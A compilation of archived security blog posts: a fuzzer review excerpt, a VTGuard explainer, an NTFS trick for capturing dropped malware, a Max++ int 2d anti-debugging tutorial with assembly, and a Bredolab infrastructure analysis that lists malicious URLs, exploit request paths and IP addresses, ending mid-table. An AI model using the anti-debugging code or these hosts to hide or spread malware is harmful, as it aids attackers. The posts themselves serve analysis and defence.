“Monsters Inc.” line of fuzzers, namely Sulley, later BooFuzz, and now
Fuzzowski by NCC Group. GitLab's open-source Peach Fuzzer presents a big step
forward in terms of usability and sophistication, albeit limited by the lack
of prebuilt templates. If you have templates from a previous purchase of Peach
Fuzzer Professional, you are in luck. However, the secret sauce of these
fuzzers is always the templates. Sadly, GitLab will not be open-sourcing the
Pro templates and will only be offering them behind a commercial product later
this year. Without a large library of templates, the usefulness of Peach
Fuzzer is limited.

If you are willing to put in the work to build your own templates, I think
that Peach Fuzzer is a fantastic starter kit to get you into the fuzzing game.
However when it comes to more advanced fuzzing, Peach falls short. While it
claims to be a “smart” fuzzer, it was documented in an older era of fuzzing.
It is perhaps more accurate to call it a generational or file format-aware
fuzzer that fuzzes based on prewritten templates. These days, coverage-
guided/feedback-driven fuzzers such as AFL and Honggfuzz may be considered
more advanced approaches. Peach only uses Intel Pin to minimise corpora and
does not appear to use it for actual fuzzing.

Peach, however, still has its place in any researcher's toolkit, especially if
your focus is on specific file structures. I found that Peach is especially
useful for prototyping potential fuzzing targets due to the quick setup and
ability to fuzz black-box targets without a harness. It can still pick up
surface-level vulnerabilities and help highlight potentially vulnerable
targets for deeper fuzzing.

\#infosec \#cybersecurity \#fuzzing \#hacking

# InfoSec Research: VTGuard

**Created:**| _4/28/2014 10:02:58 AM_  
---|---  
**Updated:**| _4/28/2014 10:02:58 AM_  
**Author:**| __  
**Tags:**| __  
  

# InfoSec Research

Offensive and Defensive Information Security Research

## Sunday, April 27, 2014

###  VTGuard

Prerequisite Reading:

Previous “Attacking V-Table Pointers” article

The web browser is a war zone. We continue to see the latest and most cutting
edge research, mitigation technologies, and exploitation techniques in popular
web browsers such as Internet Explorer. One advanced mitigation technology in
particular is VTGuard, a run-time security check introduced in Internet
Explorer 10. VTGuard verifies VTable pointers before calling into them in an
effort to mitigate Use-After-Free Exploitation.

VTGuard relies on a secret cookie which should not be known by the attacker
who is redirecting the VTable call. This secret cookie varies with the ASLR
load address of the DLL in which the object’s VTable is implemented. Although
the actual check occurs dynamically at runtime, the checking code is emitted
by the compiler at compile-time, implying that the original source code needs
to be modified to take advantage of this mitigation.

Below is the disassembly of a VTGuard cookie check before a virtual function
call:

mshtml\!CElement::fireEvent+0x43:

mov eax,dword ptr \[ebx\] //ebx is a pointer to our CElement object. Now eax
has a pointer to the VTable.  
cmp dword ptr \[eax+308h\],offset MSHTML\!\_\_vtguard \(728d76ee\) //we check
a cookie at the end of the VTable before we trust it to be a true VTable  
jne MSHTML\!CElement::fireEvent+0x189 \(7284c30f\) //if its not, bail  
mov ecx,ebx //else, store this \* into ECX as per C++ thiscall convention  
call dword ptr \[eax+150h\] //call into the VTable pointer

Assuming object d is an instance of a class that inherits from class B1, below
is a depiction of how object d would be laid out in memory, with VTGuard in
place.

<img src='img/Temp2_4447.png' />  
---  
VTable with VTGuard in place  
Due to the difficulty of finding and removing all Use-After-Free
vulnerabilities, VTGuard has its place as a strategic mitigation for
increasing the difficulty of exploiting such vulnerabilities. Even if the
attacker is able to reallocate the heap hole in a Use-After-Free vulnerability
and craft a fake VTable \(see prerequisite reading\), VTGuard would still need
to be bypassed.

References:

http://media.blackhat.com/bh-
us-12/Briefings/M\_Miller/BH\_US\_12\_Miller\_Exploit\_Mitigation\_Slides.pdf

# Catching dropped executable files without a sandbox « Thoughts on Security

**Created:**| _11/6/2013 9:36:43 AM_  
---|---  
**Updated:**| _11/6/2013 9:36:43 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis sandboxing_  
  

# **C** atching dropped executable files without a sandbox****

One common technique used by a lot of exploits, malware, and obfuscated
software is to dynamically generate or download an executable or DLL file, run
it or load it, then delete it**.** I frequently catch even legitimate software
doing this, but I am always curious as to what executable code the authors are
trying to hide**.** Saving those automatically generated files is a core
feature of any decent sandbox out there, but in many cases, you see this
activity on a production system and don’t know where the file is coming
from**.** Especially if it only happens infrequently, it often doesn’t make
sense to try to put the whole system in a sandbox**.**

So instead, I just use a simple trick with NTFS file permissions**.** First go
to the folder that the executable file is going to be dropped in and edit its
permissions \(advanced button\)**.** Uncheck the “include inheritable
permissions” checkbox**.**  

<img src='img/Temp2_1393.png' alt='Screenshot-permissions' />

You can hit Remove to drop all of them, then add one new permission giving
full control to your user account, or hit Add to convert them to new
permissions, and then remove all but the permission giving your account full
control**.**

Then edit that one entry that remains for your user account, and un-check the
Delete boxes**.** Your account will now be able to add new files, but not
delete any files that are there or get created in the future**.**

<img src='img/Temp2_1392.png' alt='Screenshot-newpermissions' />

Now just wait for that file to drop, and it will be preserved in the folder
for you to come back later and grab**.** Since you retained the change
permissions privilege, you can simply revert permissions by re-enabling
inherited permissions on the folder you modified later and you’ll be back to
normal**.**

malware , NTFS , sandbox

This entry was posted on October 30, 2013, 5:14 pm and is filed under Defense
**.** You can follow any responses to this entry through RSS 2**.** 0 . You
can leave a response, or trackback  from your own site**.**

****

# Dr. Fu's Security Blog: Malware Analysis 3: int2d anti-debugging \(Part I\)

**Created:**| _1/3/2012 4:16:26 PM_  
---|---  
**Updated:**| _1/3/2012 4:16:26 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Tutorials_  
  

### Malware Analysis 3: int2d anti-debugging \(Part I\)

**Learning Goals** :  

  1. Understand the general interrupt handling mechanism on X86 platform.
  2. Understand the byte scission anti-debugging technique.
  3. Know how to use a binary debugger to patch an executable program

**Applicable to:**  

  1. Computer Architecture
  2. Operating Systems
  3. Principles of Programming Languages 

  
**Challenge of the Day:**  

  1. Analyze the code between 0xaaaa and 0xaaaa. What is its purpose?

  
**1\. Introduction**  
  
To prolong the life of a malware, anti-debugging techniques are frequently
used to delay the analysis process performed by security experts. This lesson
presents "**int 2d** ", an example of the various anti-debug techniques
employed by Max++. Bonfa has provided a brief introduction of this technique
in \[1\]. Our analysis complements \[1\], and presents an in-depth analysis of
the vulnerabilities of debuggers.  
  
The purpose of anti-debugging is to hinder the process of reverse engineering.
There could be several general approaches: \(1\) to detect the existence of a
debugger, and behave differently when a debugger is attached to the current
process; \(2\) to disrupt or crash a debugger. Approach \(1\) is the mostly
frequently applied \(see an excellent survey in \[2\]\). Approach \(2\) is
rare \(it targets and attacks a debugger - and we will see several examples in
Max++ later\). Today, we concentrate on Approach \(1\).  
  
To tell the existence of a debugger, as pointed by Shields in \[2\], there are
many different ways. For example, an anti-debugging program can call system
library functions such as "isDebuggerPresent\(\)", or to examine the data
structure of Thread Information Block \(TIB/TEB\) of the operating system.
These techniques can be easily evaded by a debugger, by purposely masking the
return result or the kernel data structure of the operating system.  
  
The instruction we are trying to analyze is the "INT 2D" instruction located
at 0x00413BD5 \(as shown in Figure 1\). By single-stepping the malware, you
might notice that the program's entry point is 0x00413BC8. After the execution
of the first 8 instructions, right before the "INT 2D" instruction, **the
value of EAX is 0x1**. This is an important fact you should remember in the
later analysis.  
  
﻿﻿  
<img src='img/Temp2_2386.jpg' />  
---  
Figure 1. Snapshot of Max++ Entry Point  
**2\. Background Information**  
  
Now let us watch the behavior of the Immunity Debugger \(IMM\). By stepping
over \(using F8\) the instruction "**INT 2D** " at 0x413BD5, ﻿﻿ we are
supposed to stop at the next immediate instruction "**_RETN_** "
\(0x00413BD7\), however, it is not. The new EIP value \(i.e., the location of
the next instruction to be executed is 0x00413A38\)\! _Now the big question:
is the behavior of the IMM debugger correct \(i.e., is it exactly the same as
the normal execution of Max++ without debugger attached\)_?  
  
We need to read some background information of "INT 2D". Please take one hour
and read the following related articles carefully. \(Simply search for the
"int 2d", and ignore the other parts\).  
  

  1. Guiseppe Bonfa, "Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer Crimeware Rootkit", Available at http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/
  2. Tyler Shields, "Anti-Debugging - A Developer's View", Available at http://www.shell-storm.org/papers/files/764.pdf
  3. P. Ferrie, "Anti-Unpacker Tricks - Part Three", Virus Bulletin Feb 2009. Available at http://pferrie.tripod.com/papers/unpackers23.pdf, Retrieved 09/07/2011.

Let's summarize the conclusion of the above related work:  

  1. Bonfa in \[1\] points out that the "int 2d" instruction will trigger an interrupt \(exception\). When a debugger is attached, the exception is handled; and **when a debugger is not attached, the program \(Max++\) will be able to see the exception**. The execution of "int 2d" will cause a byte scission \(_**the next immediate byte following "int 2d" will be skipped**_\). However, no explanation is provided for this byte scission. A solution is given: use the _**StrongOD**_ plug-in for OllyDbg to handle the correct execution of "int 2d". We could not repeat the success of StrongOD on IMM, however, the readers are encouraged to try it on OllyDbg.
  2. Shields in \[2\] gives a _**high-level language example**_ of the int 2d anti-debugging trick. The example is adapted from its section III.A \(the int 3 example\). This example explains how the malware can "see" the debugger, using a _**try-catch**_ structure. when a debug IS attached, the "try-catch" will _**not be**_ able to capture that exception \(because the debugger has already handled the exception\).; When no debugger is attached, its "try-catch" struct can capture the "int 3 \(or 2d\)" exception \(thus set a flag which indicates a debugger is not attached\); 
  3. Ferrie in \[3\] gives an explanation of the reason why there is a byte scission of program execution. _**Ferrie gives an excellent example****in Section 1.3**_ of \[3\]. We added a number of comments for each instruction. This example corresponds to the high-level language example in \[2\], however, at the assembly level and relies on a OS support for exception handling, called "_**SEH**_ " \(Structured Exception Handling\). We will later come back to this example and explain its details after introducing SEH in Section 3.

\----------------------------------------------------------------------------------  

1 xor eax, eax

2 push offset l1

3 push d fs:\[eax\]

4 mov fs:\[eax\], esp

5 int 2dh

6 inc eax

7 je being\_debugged

8 ...

9 l1: xor al, al

10 ret

\----------------------------------------------------------------------------------  
Listing 1. The int 2dh example from P. Ferrie, "Anti-Unpacker Tricks - Part
Three", VB2009  
  

**3\. Structured Exception Handling**  
  
**3.1 Interrupt and Exceptions**  
  
When a program uses instructions like "int 2d" \- it's an exception and
triggers a whole procedure of interrupt handling. It is beneficial to
completely understand the technical details involved in the interrupt handling
scenario. We recommend the Intel IA32 Manual \[5\] \(_**ch6: interrupt and
exception overview**_\). Some important facts are listed below:  

  1. **Interrupts** happen due to hardware signals \(e.g., I/O completion signals, and by executing INT xx instructions\). They happen at random time \(e.g., I/O signal\), except the direct call of INT instructions.
  2. **Exceptions** occurs when CPU detects error when executing an instruction.
  3. When an interrupt/exception occurs, normal execution is interrupted and CPU jumps to the **interrupt handler** \(a piece of code that handles the interrupt/exception\). When interrupt handler completes, the normal execution resumes. Interrupt handlers are loaded by OS during system booting, and there is an **interrupt vector table** \(also called interrupt descriptor table **IDT**\) which defines which handler deals with which interrupt.
  4. In general there are following interrupts/exceptions: \(1\) software generated exceptions \(INT 3 and other INT n instructions - note the discussion of "not pushing error code into stack" for INT n instructions\), \(2\) machine checking interrupts \(not interesting to us at this point\), \(3\) **fault** \- an exception that can be corrected, when the execution resumes, it executes the same instructions \(which triggers the exception\) again, \(4\) **trap** \- different from fault in that when resuming, it resumes from the next immediate instruction \(to be executed\), \(5\) abort \(severe errors, not interesting to us at this point\). If you look at Table 6-1, the divide by 0 exception and protection error are fault, and the INT 3 \(software breakpoint\) is a trap. Section 6.6 gives you a clear idea of the difference between fault and trap.
  5. When an interrupt/exception happens, the CPU pushes the following information \(varies depending on the type of interrupt/exception\): **EIP, CS and flag registers, and ERROR CODE** into the stack. Then find out the entry address of the interrupt handler using IDT, and jumps to it. **Note that the saved EIP/CS \(return address\) depends on if it is a fault and trap\!** Then the interrupt handler will take over the job, and when resuming, use the information of the saved EIP/CS.  

  
  
**3.2 Structured Exception Handling**  
  
Different from Intel IA32 Manual, Microsoft WIN32 encapsulates the details of
interrupt handling. An MSDN article \[6\] provides an overview. In Win32
portable interrupt handling service, all hardware signals \(irrepeatable and
asynchronous\) are treated as "interrupts"; and _**all other replicable
exceptions \(including faults, traps, and INT xx instructions\) are treated as
exceptions in Win32, and all exceptions are handled using a mechanism called
Structured Exception Handling \(SEH\) \[this includes the case int 2dh\!\]**_.
M. Peitrek provides an excellent article \[4\] on the Microsoft System
Journal, which reveals the internals of SEH. We recommend you thoroughly read
\[4\] before proceeding to our discussion next.  
3.3 Structured Exception Handling.  
  
Figure 2 displays a general procedure to handle an exception. When a program
generates an error \(e.g., divide by 0 error\), CPU will raise an exception.
By looking at the IDT \(interrupt dispatch table\), CPU retrieves the entry
address of the interrupt service handler \(ISR\). In most cases, the Win32 ISR
will call **KiDispatchException**\(we will later come back to this function\).
Then the ISR will look for user defined exception handlers, until one handles
the error successfully. There are several interesting points here:  

  1. The ISR needs to find a user-defined handle \(e.g., the catch clause in the program\). **Where to find it?** The memory word at**FS:\[0\]** contains the entry address. Here FS, like CS, DS, and SS, is one of the segment registers in a X86 CPU. In Win32, FS register always points to a kernel data structure **TIB** \(Thread Information Block\). TIB records the important system information \(such as stack top, last error, process ID\) of the current thread being executed. The first memory word of TIB is the address of the Exception Handler Record which contains the information. Thus from FS:\[0\] \(meaning the word at the offset 0 starting from segment base FS\), ISR could invoke the user-defined handlers. For more information on TIB, you can read \[8\].
  2. Notice that there is a **CHAIN OF HANDLERS**\! This is natural because you might have nested try-catch statement. In addition, in the case the error is not handled by the user program, the system will anyway provides a handler which terminates the user application and popping a Windows error dialog which shows you "Program error at 0xaabbcc, debug or terminate it?". Where to place this chain of handlers? It's the stack of the user program. Each element if the chain is an instance of the \_EXCEPTION\_REGISTRATION data structure. Read \[4\] for more details\! To make a complete story, the \_EXCEPTION\_REGISTRATION struct from \[4\] is shown in the following: here "dd" stands for "double word" \(32-bit memory word\). The "_**prev**_ " field points to the previous exception registration record and the "_**handler**_ " is the entry address of the handler.

  
  

[code]

    _EXCEPTION_REGISTRATION struc
[/code]

[code]

    prev    dd      ?
[/code]

[code]

    handler dd      ?
[/code]

[code]

    _EXCEPTION_REGISTRATION ends
[/code]

  
  
3\. **How does ISR tell when to stop?** When a user-defined handler returns 0
\(_**ExceptionContinueExecution**_\), the ISR can resume the user process.
When a handler returns 1 \(ExceptionContinueSearch\), the IRS will have to
search in the chain for the next handler. The definition of
ExceptionContinueExecution can be found in the definition of
EXCEPTIOn\_DISPOSITION in EXCPT.h \(you can easily google to find its source
file\).  
<img src='img/Temp2_2385.jpg' width='640' height='308' />  
---  
Figure 2. General Procedure of Handling an Exception  
  

  

**3.3 Revisit of Ferrie's Example** \[3\]  
  
With the information of 3.2, we are now able to completely understand the
details of Ferrie's example. Some important points are listed below:  

  1. Instructions 2 to 4 builds a new \_EXCEPTION\_REGISTRATION record. Instruction 2 sets up the handler entry address, instruction 3 sets the "prev" link, and instruction 4 makes FS:\[0\] to point to the new record
  2. Instruction 9 sets the value of the AL register to 0. This is essentially to return 0 \(ExceptionContinueExecution\). This is to inform the IRS that the error is handled and there is no need to look for other handlers. Then the IRS will resume the normal execution \(the old instruction might be re-executed, or it starts from the next immediate instruction. This will depend on the type of the fault/trap, see Intel IA32 manual chapter 6\).

  
\----------------------------------------------------------------------------------  

1 xor eax, eax \# EAX = 0

2 push offset l1 \# push the entry of new handler into stack

3 push d fs:\[eax\] \# push the old entry into stack

4 mov fs:\[eax\], esp \# now make fs:\[0\] points to the new
\_Exception\_Registration record

5 int 2dh \# interrupt -> CPU will jump to l1

6 inc eax \# EAX = 1, will be skipped \(when debugger attached\)

7 je being\_debugged \# if EAX=0, an debugger is there

8 ...

9 l1: xor al, al \# handler: set AL=0 \(this is to return 0\)

10 ret

\----------------------------------------------------------------------------------  
Listing 2. Ferrie's Example with Comments , "Anti-Unpacker Tricks - Part
Three", VB2009  
  
  
**3.4 Int 2D Service**  
  
We now examine some important facts related to INT 2d. Almeida provides an
excellent article about the INT 2d service and kernel debugging. We recommend
a thorough reading of this article \[7\].  
  
INT 2d is the interface for Win32 kernel to provide kernel debugging services
to user level debuggers and remote debuggers such as IMM, Kd and WinDbg. User
level debuggers invoke the service usually by  
  
NTSTATUS **DebugService**\(UCHAR ServiceClass, PVOID arg1, PVOID arg2\)  
  
According to \[7\], there are four classes \(1: Debug printing, 2: interactive
prompt, 3: load image, 4: unload image\). The call of DebugService is
essentially translated to the following machine code:  
  
EAX <\- ServiceClass  
ECX <\- Arg1  
EDX <\- Arg2  
INT 2d  
  
The interrupt triggers CPU to jump to _**KiDispatchException**_ , which later
calls _**KdpTrap**_ \(__**when the DEBUG mode of the windows ini file is on,
when Windows XP boots**__\). KdpTrap takes an EXCEPTION\_RECORD constructed by
KiDispatchException. The EXCEPTION\_RECORD contains the following information:
ExceptionCode: _**BREAKPOINT**_ , arg0: **EAX** , arg1: _**ECX**_ , and arg2:
_**EDX**_. Note that according to \[7\] \(Section "Notifying Debugging
Events"\), the INT 3 interrupts \(software breakpoints\) is also handled by
KdpTrap _**except that arg0 is 0**_.  
  
Notice that _**KiDispatchException**_ deserves some special attention. Nebbett
in his book \[9\] \(pp. 439 - sometimes you can view sample chapters from
Google books\) lists the implementation code of KiDispatchException \(in
Example C.1\). _**You have to read the code in \[9\] and there are several
interesting points.**_ First, let's concentrate on the case if the previous
mode of the program is kernel mode \(i.e., it's the kernel code which invokes
the interrupt\):  

  1. At line 4 of the function body, KiDispatchException **reduces EIP by 1** , if the Exception code is **STATUS\_BREAKPOINT** \(this happens when int 2dh and int 3 are invoked\). Note that in \[3\], _**P. Ferrie gave an excellent explanation regarding why the code reduces EIP by 1\!**_
  2. It calls KiDebugRoutine several times. KiDebugRoutine is a function pointer. It points to KdpTrap \(if debug enabled set in BOOT.ini\), otherwise KdpTrapStub \(which does nothing\). 
  3. KdpTrap/KiDebugRoutine is invoked first, and then user handler is invoked \(given search frame is enabled\), and then KiDebugRoutine is invoked second time if user handle did not finish the job

For the "user mode" \(it's the user program which invokes int 2d\):  

  1. It first check if there is a user debugger not attached \(by checking DEBUG\_PORT\). If this is the case, kernel debugging service KiDispatchException will be called first to handle the exception.
  2. Then there is a complex nested if-else statements which uses DbgkForwardException to forward the exception to user debugger. \(Unfortunately, there are not sufficient documentations for these involved functions\). Our guess is that DbgkForwardException is to invoke user debugger to handle exception and KiUserDipsatchException is called to search for frame based user handlers if user debugger could not handle it.
  3. If the Search Frames attribute is false, the above \(1 and 2\) are not tried at all. It is directly forwarded to user debugger \(make it to try twice\), and if not processed, terminate the user process.

Now let's look back to Ferrie's article \[3\] again. The following description
is complex and we will verify it in our later experient \(in part II\). Here
the "_**exception address**_ " is the "EIP value of the context" \(which to be
copied back to user process\), and the "_**EIP register value**_ " is the real
EIP value of the user process when the exception occurs.  
  
"After an exception has occurred, and in the absence of a  
debugger, execution will resume by default at the **exception  
address. **The assumption is that the cause of the exception  
will have been corrected, and the faulting instruction will  
now succeed. In the presence of a debugger, and if the  
debugger consumed the exception, execution will resume at  
the current **EIP register value**."  
  
What's more important is the following description from \[3\]: This should
happen even before KiDispatchException is called.  
  
"  
However, when interrupt 0x2D is executed, _**Windows**_ _**  
uses the current EIP register value as the exception  
address and increases the EIP register value by one.**_  
Finally, it issues an EXCEPTION\_BREAKPOINT  
\(0x80000003\) exception. Thus, if the ‘CD 2D’ opcode  
\(‘INT 0x2D’ instruction\) is used, the exception address  
points to the instruction immediately following the  
interrupt 0x2D instruction, as for other interrupts, and the  
EIP register value points to a memory location that is one  
byte after that.  
"  
  
According to \[3\], due to the above behaviors of Win32 exception handling, it
could cause byte scission. When a user debugger \(e.g., OllyDbg\) decides to
resume the execution using the EIP register value, its behavior will be
different from a normal execution. We will verify this argument in our later
experiments. In summary we want to consider the following factors in our
experiments:  
  

  1. How does the debug mode \(enabled in boot.ini\) affect the user debugger behavior?
  2. How would user defined handlers affect the behavior?
  3. In summary, is the behavior of IMM correct regarding the code at 0x413BD5?

We will explore them in our experiments in Part II of this serie.  
  
**References**  
  
\[1\] Guiseppe Bonfa, "Step-by-Step Reverse Engineering Malware: ZeroAccess /
Max++ / Smiscer Crimeware Rootkit", Available at
http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-
engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/  
  
\[2\] Tyler Shields, "Anti-Debugging - A Developer's View", Available at
http://www.shell-storm.org/papers/files/764.pdf  
  
\[3\] P. Ferrie, "Anti-Unpacker Tricks - Part Three", Virus Bulletin Feb 2009.
Available at http://pferrie.tripod.com/papers/unpackers23.pdf, Retrieved
09/07/2011.  
  
\[4\] M. Pietrek, "A Crash Course on the Depth of Win32Tm Structured Exception
Handling," Microsoft System Journal, 1997/01. Available at
http://www.microsoft.com/msj/0197/exception/exception.aspxhttp://www.microsoft.com/msj/0197/exception/exception.aspx.  
  
\[5\] Intel, "Intel 64 and IA-32 Architectures for Software Developers Manual
\(5 Volume\)", Available at
http://www.intel.com/content/www/us/en/processors/architectures-software-
developer-manuals.html  
  
\[6\] Microsoft, "Lesson 8 - Interrupt and Exception Handling", MSDNAA.
Available at  
http://technet.microsoft.com/en-us/library/cc767887.aspx  
  
\[7\] A. Almeida, "Kernel and Remote Debuggers", Developer Fusions. Available
at  
http://www.developerfusion.com/article/84367/kernel-and-remote-debuggers/  
  
\[8\] Wikipedia, "Win32 Thread Information Block", Available at
http://en.wikipedia.org/wiki/Win32\_Thread\_Information\_Block.  
  
\[9\] G. Nebbett, "Windows NT/2000 Native API Reference", pp. 439-441, ISBN:
1578701996.

# Network Forensics Blog » Blog Archive » Bredolab Takedown – Just the tip of
the Iceberg

**Created:**| _11/6/2010 10:06:50 PM_  
---|---  
**Updated:**| _11/6/2010 10:07:08 PM_  
**Author:**| __  
**Tags:**| _bookmark botnets report reversing Malware-analysis_  
  

## Bredolab Takedown – Just the tip of the Iceberg

November 4, 2010 12:06 pm alex Advanced Threats, Malware Analysis,
cybercrime,network forensics, trojan

Recent reports from various sources in the security industry show that a large
takedown of servers associated with the “Bredolab” trojan occurred within the
past few weeks. While most of the reports have focused around the idea that
this infrastructure was solely related to the command and control of Bredolab,
our research shows that these servers were used as an all-purpose hosting
infrastructure for criminal activity.

This criminal system came to our attention in July 2010, when NetWitness
analysts were asked to investigate a hacked wordpress blog.

We found that the following obfuscated script had been injected into all .html
and php pages on the site:

<img src='img/Temp2_5573.png' width='150' height='150' />

When decoded, this script created a redirect to the following location:

**hxxp://bakedonlion.ru:8080/google.com/pcpop.com/torrentdownloads.net.php**

Further investigation revealed an injection of the script into victim webpages
via FTP:

<img src='img/Temp2_5568.png' width='150' height='150' />

These IPs all connected to the victim website within a 20-minute period on May
8th, and when plotted on a map, it becomes obvious that this is likely a
botnet.

<img src='img/Temp2_5570.png' width='300' height='188' />

**Down the Rabbit-hole**

Once we established the source of the website compromise, we began back-
tracking into the criminal infrastructure to help develop intelligence that
would assist our customers. What we found was the following:

The initial injected script:

**bakedonion.ru:8080/google.com/pcpop.com/torrentdownloads.net.php**

redirects to obfuscated scripts:

**bakedonion.ru:8080/index.php?pid=1&home=1**

then:

**bakedonion.ru:8080/jquery.jxx?ver=2.1.5**

which ultimately result in exploit code being delivered to the visiting
browser. If successful, the following GET occurs which causes the download of
the bredolab malware.

**bakedonion.ru:8080/welcome.php?id=6&pid=1&hello=503**

Discovery of this infection sequence began a 3-month monitoring activity from
June to August 2010.

**More on Bredolab**

Bredolab rose to prominence in the malware community around the middle of
2009. Trend Micro has a very good report on the malware’s specifics.

In this particular instance, this Bredolab variant downloaded both Fake AV and
ZeuS, which are two well-known malware threats.

1\) Fake AV – Installs a fake antivirus program that reports non-existent
infections on the host workstation. The option to “clean” the host is given if
the user agrees to pay a fee for the “pro” or “advanced” version of the
software. This particular combination of social engineering and malware has
been very popular in the past few years as it has a three-part punch:

  1. The miscreant establishes a foothold on the compromised PC.
  2. The miscreant makes money from those users that pay the “upgrade” fee.
  3. The miscreant has access to the payment method of the user after he or she makes payment \(credit card, paypal,etc\), which can be used for further fraud.

2\) ZeuS – An all-purpose information stealer that has historically been
focused on financial fraud. Because online hosts often have the ability to use
a web-based client to remotely manage files and folder on a host, this may
likely be one of the sources for the stolen FTP credentials used in script
injection.

Although not part of the campaign detailed here, Bredolab has been observed
downloading other malware families, which provided evidence that the operator
used the system in pay-per-install affiliate programs or provided install
services to other miscreants.

**Further into the infrastructure**

Shortly after our initial investigation began, open source research in the
security community into common paths on the miscreant servers revealed active
Apache Server Status pages, a feature in the Apache webserver that allows you
to monitor performance of your installation. This finding allowed us to log
and further develop intelligence based on the page visits that we observed on
the miscreant servers.

With this bit of information, we were able to take the previously known
infection sequence, and expand it:

1\) The initial directory sequence observed in the original injected script:

“google.com/pcpop.com/torrentdownloads.net.php”

was only one of many variations, some of which are as follows:

  * GET /google.com/gazeta.pl/orkut.com.php HTTP/1.0
  * GET /google.com/amazonaws.com/tudou.com.php HTTP/1.0
  * GET /dangdang-com/google.com/bing.com.php HTTP/1.0
  * GET /elpais-com/google.com/telegraph.co.uk.php HTTP/1.0
  * GET /focus-cn/google.com/startimes2.com.php HTTP/1.0
  * GET /verizonwireless-com/google.com/blogbus.com.php HTTP/1.0
  * GET /vmn-net/google.com/godaddy.com.php HTTP/1.0

We surmised that this seemingly random combination of high-traffic sites
served two purposes:

  * Establish “legitimacy” during casual inspection.
  * Make the creation of intrusion detection signatures on this particular phase difficult.

2\) Specific paths to exploit artifacts, which included:

  * GET /Notes1.pdf HTTP/1.0
  * GET /Notes2.pdf HTTP/1.0
  * GET /Notes3.pdf HTTP/1.0
  * GET /Notes4.pdf HTTP/1.0
  * GET /Notes5.pdf HTTP/1.0
  * GET /Notes6.pdf HTTP/1.0
  * GET /Notes7.pdf HTTP/1.0
  * GET /Notes8.pdf HTTP/1.0
  * GET /Notes9.pdf HTTP/1.0
  * GET /Notes10.pdf HTTP/1.0
  * GET /NewGames.jar HTTP/1.0
  * GET /Games.jar HTTP/1.0
  * GET /Applet1.html HTTP/1.0
  * GET /Applet4.html HTTP/1.0
  * GET /Applet10.html HTTP/1.0

3\) Additional Malware Downloads:

  * GET /images/gr\_old\_cr.exe HTTP/1.0

Examining Exploits

By taking a closer look at one of the exploits used in this particular
campaign during the observed time period, we saw a common theme that is being
used by most criminal elements in the current threat environment.

  * Client-side vulnerabilities in third-party software

Criminal elements have learned that organizations typically have OS-level
patching under control, but the patching of third-party applications is often
outside of the capabilities of most organizations. This is usually due to both
the complication of centralizing third-party patching, but more so because of
the linking of commodity technologies, such as PDF readers, into mission-
critical business processes that may be interrupted by upgraded versions and
require lengthy testing prior to extensive deployment.

In this case, we see the following exploits being used in the exploit PDFs:

  * Adobe util.printf overflow – CVE-2008-2992
  * Adobe getIcon overflow – CVE-2009-0927

Which, when successful, calls out to the previously observed urls:

**http://anyscent.ru:8080/welcome.php?id=6&pid=2&hello=503**

While we did see multiple versions of this pdf file \(1-10\), they were all
structurally identical, with slight changes to change the file enough to
bypass antivirus detection.

**A change of tactics**

On or around June 11th, we observed a tactics change by the miscreants, based
on the previously observed exploit-cycle. The previously seen requests, such
as:

  * GET /google.com/y8.com/ynet.com.php HTTP/1.0

Stopped occurring, and we began seeing requests formatted as follows:

  * GET /E-mail.js HTTP/1.0
  * GET /Filename.js HTTP/1.0
  * GET /Gnutella.js HTTP/1.0

These requests were made to the same servers, but on port 80 \(rather than the
previously observed 8080\). While it wasn’t immediately apparent at the time,
this change signified a significant shift from a single domain based
compromise structure to a multi-domain system that assigned specific roles to
domains according to their desired use.

**An Intelligence Breakthrough**

At this point in the investigation, we began linking like servers together
based on community reports and our own field work with indicators such as
malware and exploit filenames. Since they all had available server status
pages, this again expanded our ability to collect intelligence on this system.
A breakthrough occurred when we observed one of the exploit servers
transferring a tgz archive from one of the other servers in the system via
HTTP. With the proper path, we were then able to retrieve this file directly
from the exploit server and further explore it. This archive contained a
series of DNS zone configuration files that detailed the infrastructure with
labels and allowed us completely map the system as it was updated. We surmised
that the configuration files were used by the criminal miscreants to update
their exploit system in an automated fashion. This would allow quick updates
when security researcher activity caused a takedown of a suspect domain. With
this discovery, we began logging changes to the infrastructure on a daily
basis.

<img src='img/Temp2_5569.png' width='300' height='166' />

**Mapping the Infrastructure**

With the zone information and other monitoring, we observed 114 IP addresses
resolving to known malicious domains in this system.

12312 | 62.27.51.163 | ECOTEL ecotel communication ag  
---|---|---  
12322 | 88.191.47.83 | PROXAD Free SAS  
12322 | 88.191.79.158 | PROXAD Free SAS  
12322 | 88.191.79.223 | PROXAD Free SAS  
13213 | 83.170.113.88 | UK2NET-AS UK-2 Ltd Autonomous System  
13727 | 216.8.179.23 | ND-CA-ASN – NEXT DIMENSION INC  
15418 | 77.68.52.52 | FASTHOSTS-INTERNET Fasthosts Internet Ltd. Gloucester  
15685 | 217.11.254.41 | CASABLANCA-AS Casablanca INT Autonomous system  
15830 | 217.20.47.85 | TELECITY-LON TELECITYGROUP INTERNATIONAL LIMITED  
16265 | 85.17.137.40 | LEASEWEB LEASEWEB AS  
16265 | 85.17.19.26 | LEASEWEB LEASEWEB AS  
16265 | 94.75.243.6 | LEASEWEB LEASEWEB AS  
16276 | 178.32.1.70 | OVH OVH  
16276 | 188.165.124.185 | OVH OVH  
16276 | 188.165.159.139 | OVH OVH  
16276 | 188.165.192.22 | OVH OVH  
16276 | 188.165.196.19 | OVH OVH  
16276 | 188.165.204.115 | OVH OVH  
16276 | 188.165.61.44 | OVH OVH  
16276 | 188.165.95.132 | OVH OVH  
16276 | 188.165.95.133 | OVH OVH  
16276 | 213.186.47.177 | OVH OVH  
16276 | 213.251.164.84 | OVH OVH  
16276 | 87.98.149.171 | OVH OVH  
16276 | 91.121.108.38 | OVH OVH  
16276 | 91.121.11.69 | OVH OVH  
16276 | 91.121.15.168 | OVH OVH  
16276 | 91.121.162.65 | OVH OVH  
16276 | 91.121.163.43 | OVH OVH  
16276 | 91.121.167.167 | OVH OVH  
16276 | 91.121.174.152 | OVH OVH  
16276 | 91.121.182.209 | OVH OVH  
16276 | 91.121.226.19 | OVH OVH  
16276 | 91.121.27.197 | OVH OVH  
